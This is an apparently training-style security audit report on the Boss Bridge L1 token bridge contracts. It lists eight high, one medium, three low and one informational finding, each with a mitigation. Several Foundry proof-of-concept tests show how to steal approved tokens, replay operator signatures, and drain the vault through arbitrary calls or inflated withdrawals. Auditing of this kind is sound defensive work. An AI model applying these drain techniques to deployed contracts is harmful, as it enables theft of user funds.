Boss Bridge Initial Audit Report

Version 0.1

Cyfrin.io

October 6, 2025

Boss Bridge Audit Report

mhng

October 5, 2025

Boss Bridge Audit Report

Prepared by: mhng Lead Auditors: mhng

- mhng

Assisting Auditors:

- None

Table of contents

See table

About mhng

Disclaimer

We are making all efforts to find as many vulnerabilities in the code in the given time period, but we are not holding any responsibilities for the the findings provided in this document. A security audit is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
d59479cbf925f281ef79ccb35351c4ddb002c3ef
```

Scope

```
#-- src
|   #-- L1BossBridge.sol
|   #-- L1Token.sol
|   #-- L1Vault.sol
|   #-- TokenFactory.sol
```

Protocol Summary

The Boss Bridge is a bridging mechanism to move an ERC20 token (the “Boss Bridge Token” or “BBT”) from L1 to an L2 the development team claims to be building. Because the L2 part of the bridge is under construction, it was not included in the reviewed codebase.

The bridge is intended to allow users to deposit tokens, which are to be held in a vault contract on L1. Successful deposits should trigger an event that an off-chain mechanism is in charge of detecting to mint the corresponding tokens on the L2 side of the bridge.

Withdrawals must be approved operators (or "signers"). Essentially they are expected to be one or more off-chain services where users request withdrawals, and that should verify requests before signing the data users must use to withdraw their tokens. It's worth highlighting that there's little-to-no on-chain mechanism to verify withdrawals, other than the operator's signature. So the Boss Bridge heavily relies on having robust, reliable and always available operators to approve withdrawals. Any rogue operator or compromised signing key may put at risk the entire protocol.

Roles

- Bridge owner: can pause and unpause withdrawals in the `L1BossBridge` contract. Also, can add and remove operators. Rogue owners or compromised keys may put at risk all bridge funds.
- User: Accounts that hold BBT tokens and use the `L1BossBridge` contract to deposit and withdraw them.
- Operator: Accounts approved by the bridge owner that can sign withdrawal operations. Rogue operators or compromised keys may put at risk all bridge funds.

Executive Summary

Issues found

Severity	Number of issues found
High	8
Medium	1
Low	3
Info	1
Gas	0
Total	13

Findings

High

[H-1] Users who give tokens approvals to `L1BossBridge` may have those assest stolen

Description: The `depositTokensToL2` function allows anyone to call it with a `from` address of any account that has approved tokens to the bridge.

Impact: As a consequence, an attacker can move tokens out of any victim account whose token allowance to the bridge is greater than zero. This will move the tokens into the bridge vault, and assign them to the attacker's address in L2 (setting an attacker-controlled address in the `l2Recipient` parameter).

Proof of Concept: Include the following test in the `L1BossBridge.t.sol` file:

```
function testCanMoveApprovedTokensOfOtherUsers() public {
    vm.prank(user);
    token.approve(address(tokenBridge), type(uint256).max);

    uint256 depositAmount = token.balanceOf(user);
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(user, attackerInL2, depositAmount);
    tokenBridge.depositTokensToL2(user, attackerInL2, depositAmount);

    assertEq(token.balanceOf(user), 0);
    assertEq(token.balanceOf(address(vault)), depositAmount);
    vm.stopPrank();
}
```

Recommended Mitigation: Consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

```
- function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
+ function depositTokensToL2(address l2Recipient, uint256 amount) external whenNotPaused {
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
-   token.transferFrom(from, address(vault), amount);
+   token.transferFrom(msg.sender, address(vault), amount);

    // Our off-chain service picks up this event and mints the corresponding tokens on L2
-   emit Deposit(from, l2Recipient, amount);
+   emit Deposit(msg.sender, l2Recipient, amount);
}
```

[H-2] Calling `depositTokensToL2` from the Vault contract to the Vault contract allows infinite minting of unbacked tokens

Description: `depositTokensToL2` function allows the caller to specify the `from` address, from which tokens are taken.

Impact: Because the vault grants infinite approval to the bridge already (as can be seen in the contract's constructor), it's possible for an attacker to call the `depositTokensToL2` function and transfer tokens from the vault to the vault itself. This would allow the attacker to trigger the `Deposit` event any number of times, presumably causing the minting of unbacked tokens in L2.

Additionally, they could mint all the tokens to themselves.

Proof of Concept: Include the following test in the `L1TokenBridge.t.sol` file:

```
function testCanTransferFromVaultToVault() public {
    vm.startPrank(attacker);

    // assume the vault already holds some tokens
    uint256 vaultBalance = 500 ether;
    deal(address(token), address(vault), vaultBalance);

    // Can trigger the `Deposit` event self-transferring tokens in the vault
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), address(vault), vaultBalance);
    tokenBridge.depositTokensToL2(address(vault), address(vault), vaultBalance);

    // Any number of times
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), address(vault), vaultBalance);
    tokenBridge.depositTokensToL2(address(vault), address(vault), vaultBalance);

    vm.stopPrank();
}
```

Recommended Mitigation: As suggested in H-1, consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

[H-3] Lack of replay protection in `withdrawTokensToL1` allows withdrawals by signature to be replayed

Description: Users who want to withdraw tokens from the bridge can call the `sendToL1` function, or the wrapper `withdrawTokensToL1` function. These functions require the caller to send along some withdrawal data signed by one of the approved bridge operators.

Impact: The signatures do not include any kind of replay-protection mechanisn (e.g., nonces). Therefore, valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.

Proof of Concept: Include the following test in the `L1TokenBridge.t.sol` file:

```
function testCanReplayWithdrawals() public {
    // Assume the vault already holds some tokens
    uint256 vaultInitialBalance = 1000e18;
    uint256 attackerInitialBalance = 100e18;
    deal(address(token), address(vault), vaultInitialBalance);
    deal(address(token), address(attacker), attackerInitialBalance);

    // An attacker deposits tokens to L2
    vm.startPrank(attacker);
    token.approve(address(tokenBridge), type(uint256).max);
    tokenBridge.depositTokensToL2(attacker, attackerInL2, attackerInitialBalance);

    // Operator signs withdrawal.
    (uint8 v, bytes32 r, bytes32 s) =
        _signMessage(_getTokenWithdrawalMessage(attacker, attackerInitialBalance), operator.key);

    // The attacker can reuse the signature and drain the vault.
    while (token.balanceOf(address(vault)) > 0) {
        tokenBridge.withdrawTokensToL1(attacker, attackerInitialBalance, v, r, s);
    }
    assertEq(token.balanceOf(address(attacker)), attackerInitialBalance + vaultInitialBalance);
    assertEq(token.balanceOf(address(vault)), 0);
}
```

Recommended Mitigation: Consider redesigning the withdrawal mechanism so that it includes replay protection(ex. nonce).

[H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds

Description: The `L1BossBridge` contract includes the `sendToL1` function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the `L1Vault` contract.

Impact: The `L1BossBridge` contract owns the `L1Vault` contract. Therefore, an attacker could submit a call that targets the vault and executes `approveTo` function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

It's worth noting that this attack's likelihood depends on the level of sophistication of the off-chain validations implemented by the operators that approve and sign withdrawals. However, we're rating it as a High severity issue because, according to the available documentation, the only validation made by off-chain services is that "the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge". As the next PoC shows, such validation is not enough to prevent the attack.

Proof of Concept: To reproduce, i****nclude the following test in the `L1BossBridge.t.sol` file:

```
function testCanCallVaultApproveFromBridgeAndDrainVault() public {
    uint256 vaultInitialBalance = 1000e18;
    deal(address(token), address(vault), vaultInitialBalance);

    // An attacker deposits tokens to L2. We do this under the assumption that the
    // bridge operator needs to see a valid deposit tx to then allow us to request a withdrawal.
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(attacker), address(0), 0);
    tokenBridge.depositTokensToL2(attacker, address(0), 0);

    // Under the assumption that the bridge operator doesn't validate bytes being signed
    bytes memory message = abi.encode(
        address(vault), // target
        0, // value
        abi.encodeCall(L1Vault.approveTo, (address(attacker), type(uint256).max)) // data
    );
    (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);

    tokenBridge.sendToL1(v, r, s, message);
    assertEq(token.allowance(address(vault), attacker), type(uint256).
       max);
    token.transferFrom(address(vault), attacker, token.balanceOf(
       address(vault)));
}
```

Recommended Mitigation: Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the `L1Vault` contract.

[H-5] CREATE opcode does not work on zksync era

Description: In the current code devs are using CREATE but in zkSync Era, CREATE for arbitrary bytecode is not available, so a revert occurs in the `deployToken` process.

According to zkSync `The following code will not function correctly because the compiler is not aware of the bytecode beforehand`:

```
function myFactory(bytes memory bytecode) public {
   assembly {
      addr := create(0, add(bytecode, 0x20), mload(bytecode))
   }
}
```

Impact: Protocol will not work on zkSync

Recommended Mitigation: Follow the instructions that are stated in zksync docs here

[H-6] `L1BossBridge::depositTokensToL2`'s DEPOSIT_LIMIT check allows contract to be DoS'd

Description: Malicious actor can DOS attack depositTokensToL2

The function depositTokensToL2 has a deposit limit that limits the amount of funds that a user can deposit into the bridges:

```
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
```

https://github.com/Cyfrin/2023-11-Boss-Bridge/blob/1b33f63aef5b6b06acd99d49da65e1c71b40a4f7/src/L1BossBridg

The problem is that it uses the contract balance to track this invariant, opening the door for a malicious actor to make a donation to the vault contract to ensure that the deposit limit is reached causing a potential victim's harmless deposit to unexpectedly revert.

Impact: Users will not be able to deposit token to the bridge

Proof of Concept:

```
function testUserCannotDepositBeyondLimit() public {

        vm.startPrank(user2);

        uint DOSamount = 20;
        deal(address(token), user2, DOSamount);
        token.approve(address(token), 20);

        token.transfer(address(vault), 20);

        vm.stopPrank();


        vm.startPrank(user);
        uint256 amount = tokenBridge.DEPOSIT_LIMIT() - 9;
        deal(address(token), user, amount);
        token.approve(address(tokenBridge), amount);

        vm.expectRevert(L1BossBridge.L1BossBridge__DepositLimitReached.
           selector);
        tokenBridge.depositTokensToL2(user, userInL2, amount);
        vm.stopPrank();


    }
```

Recommended Mitigation: Use a mapping to track the deposit limit of each user instead of using the contract balance

[H-7] The `L1BossBridge::withdrawTokensToL1` function has no validation on the withdrawal amount being the same as the deposited amount in `L1BossBridge::depositTokensToL2`, allowing attacker to withdraw more funds than deposited

Description: The `L1BossBridge::withdrawTokensToL1` doesn't validate the `amount` that has been deposited. Therefore the user can with a bigger amount, even the entire balance of the contract.

Impact: Attacker can steal all the funds from the vault.

Proof of Concept:

Steps: - Attacker deposits 1 wei (or 0 wei) into the L2 bridge. - Attacker crafts and encodes a malicious message and submits it to the `operator` to be signed by him. The malicious message has `amount` field set to a high value, like the total funds available in the `vault`. - Since the attacker had deposited

1 wei, operator approves & signs the message, not knowing the contents of it since it is encoded. - Attacker calls `withdrawTokensToL1()`. - All vault's funds are transferred to the attacker.

```
    function test_CanWithdrawEntireVaultBalance() public {
        uint256 vaultInitialBalance = token.balanceOf(address(vault));
        deal(address(token), address(vault), 100 ether);
        assertEq(token.balanceOf(address(vault)), vaultInitialBalance + 100 ether);

        vm.startPrank(user);
        uint256 depositAmount = 1 wei;
        uint256 userInitialBalance = token.balanceOf(address(user));
        token.approve(address(tokenBridge), depositAmount);
        tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
        assertEq(token.balanceOf(address(vault)), vaultInitialBalance + 100 ether + depositAmount);
        assertEq(token.balanceOf(address(user)), userInitialBalance - depositAmount);

        uint256 vaultBalance = token.balanceOf(address(vault));
        bytes memory maliciousMessage = abi.encode(
            address(token), // target
            0, // value
            abi.encodeCall(IERC20.transferFrom, (address(vault), user, vaultBalance)) // data
        );
        vm.stopPrank();

        // `operator` signs the message off-chain since `user` had deposited 1 wei earlier into the L2 bridge
        (uint8 v, bytes32 r, bytes32 s) = _signMessage(maliciousMessage, operator.key);

        vm.startPrank(user);
        tokenBridge.withdrawTokensToL1(user, vaultBalance, v, r, s);
        vm.stopPrank();

        assertEq(token.balanceOf(address(vault)), 0);
        assertEq(token.balanceOf(user), userInitialBalance - depositAmount + vaultBalance);
    }
```

Recommended Mitigation: Use a mapping that keeps track of the amount deposited by an address inside the function `depositTokensToL2()`, and validate that inside `withdrawTokensToL1()` .

[H-8] `TokenFactory::deployToken` locks tokens forever

Description: `TokenFactory::deployToken` deploys `L1Token` contracts, but the `L1Token` mints initial supply to `msg.sender`, in this case, the `TokenFactory` contract itself. After deployment, there is no way to either transfer out these tokens or mint new ones, as the holder of the tokens, `TokenFactory`, has no functions for this, also not an upgradeable contract, so all token supply is locked forever.

Impact: Using this token factory to deploy tokens will result in unusable tokens, and no transfers can be made.

Recommended Mitigation:

Consider passing a receiver address for the initial minted tokens, different from the msg.sender:

```
contract L1Token is ERC20 {
    uint256 private constant INITIAL_SUPPLY = 1_000_000;

-    constructor() ERC20("BossBridgeToken", "BBT") {
+    constructor(address receiver) ERC20("BossBridgeToken", "BBT") {
-         _mint(msg.sender, INITIAL_SUPPLY * 10 ** decimals());
+         _mint(receiver, INITIAL_SUPPLY * 10 ** decimals());
    }
}
```

Medium

[M-1] Withdrawals are prone to unbounded gas consumption due to return bombs

Description: During withdrawals, the L1 part of the bridge executes a low-level call to an arbitrary target passing all available gas. While this would work fine for regular targets, it may not for adversarial ones.

Impact: In particular, a malicious target may drop a return bomb to the caller. This would be done by returning an large amount of returndata in the call, which Solidity would copy to memory, thus increasing gas costs due to the expensive memory operations. Callers unaware of this risk may not set the transaction's gas limit sensibly, and therefore be tricked to spent more ETH than necessary to execute the call.

Recommended Mitigation: If the external call's returndata is not to be used, then consider modifying the call to avoid copying any of the data. This can be done in a custom implementation, or reusing external libraries such as this one.

Low

[L-1] Lack of event emission during withdrawals and sending tokesn to L1

Description: Neither the `sendToL1` function nor the `withdrawTokensToL1` function emit an event when a withdrawal operation is successfully executed. This prevents off-chain monitoring mechanisms to monitor withdrawals and raise alerts on suspicious scenarios.

Recommended Mitigation: Modify the `sendToL1` function to include a new event that is always emitted upon completing withdrawals.

[L-2] `TokenFactory::deployToken` can create multiple token with same `symbol`

Description: `deployToken` is not checking weather that token exists or not.

Recommended Mitigation:

Use checks to see, if that token exists in `TokenFactory::deployToken`

```
+    if (s_tokenToAddress[symbol] != address(0)) {
+            revert TokenFactory_AlreadyExist();
+     }
```

[L-3] Unsupported opcode PUSH0

Description: The primary concern identified in the smart contracts relates to the Solidity compiler version used, specifically `pragma solidity 0.8.20;`. This version, along with every version after `0.8.19`, introduces the use of the `PUSH0` opcode. This opcode is not universally supported across all Ethereum Virtual Machine (EVM)-based Layer 2 (L2) solutions. For instance, ZKSync, one of the targeted platforms for this protocol's deployment, does not currently support the `PUSH0` opcode.

The consequence of this incompatibility is that contracts compiled with Solidity versions higher than `0.8.19` may not function correctly or fail to deploy on certain L2 solutions.

Impact: The impact of using a Solidity compiler version that includes the `PUSH0` opcode is significant for a protocol intended to operate across multiple EVM-based chains. Chains that do not support this opcode will not be able to execute the contracts as intended, resulting in a range of issues from minor malfunctions to complete deployment failures. This limitation directly affects the protocol's goal of wide compatibility and interoperability, potentially excluding it from deployment on key L2 solutions like ZKsync.

Recommended Mitigation: To mitigate this issue and ensure broader compatibility with various EVM-based L2 solutions, it is recommended to downgrade the Solidity compiler version used in the smart contracts to 0.8.19. This version does not utilize the PUSH0 opcode and therefore maintains compatibility with a wider range of L2 solutions, including ZKsync.

Informational

[I-1] Insufficient test coverage

```
Running tests...
| File                 | % Lines        | % Statements   | % Branches    | % Funcs       |
| -------------------- | -------------- | -------------- | ------------- | ------------- |
| src/L1BossBridge.sol | 86.67% (13/15) | 90.00% (18/20) | 83.33% (5/6)  | 83.33% (5/6)  |
| src/L1Vault.sol      | 0.00% (0/1)    | 0.00% (0/1)    | 100.00% (0/0) | 0.00% (0/1)   |
| src/TokenFactory.sol | 100.00% (4/4)  | 100.00% (4/4)  | 100.00% (0/0) | 100.00% (2/2) |
| Total                | 85.00% (17/20) | 88.00% (22/25) | 83.33% (5/6)  | 77.78% (7/9)  |
```

Recommended Mitigation: Aim to get test coverage up to over 90% for all files.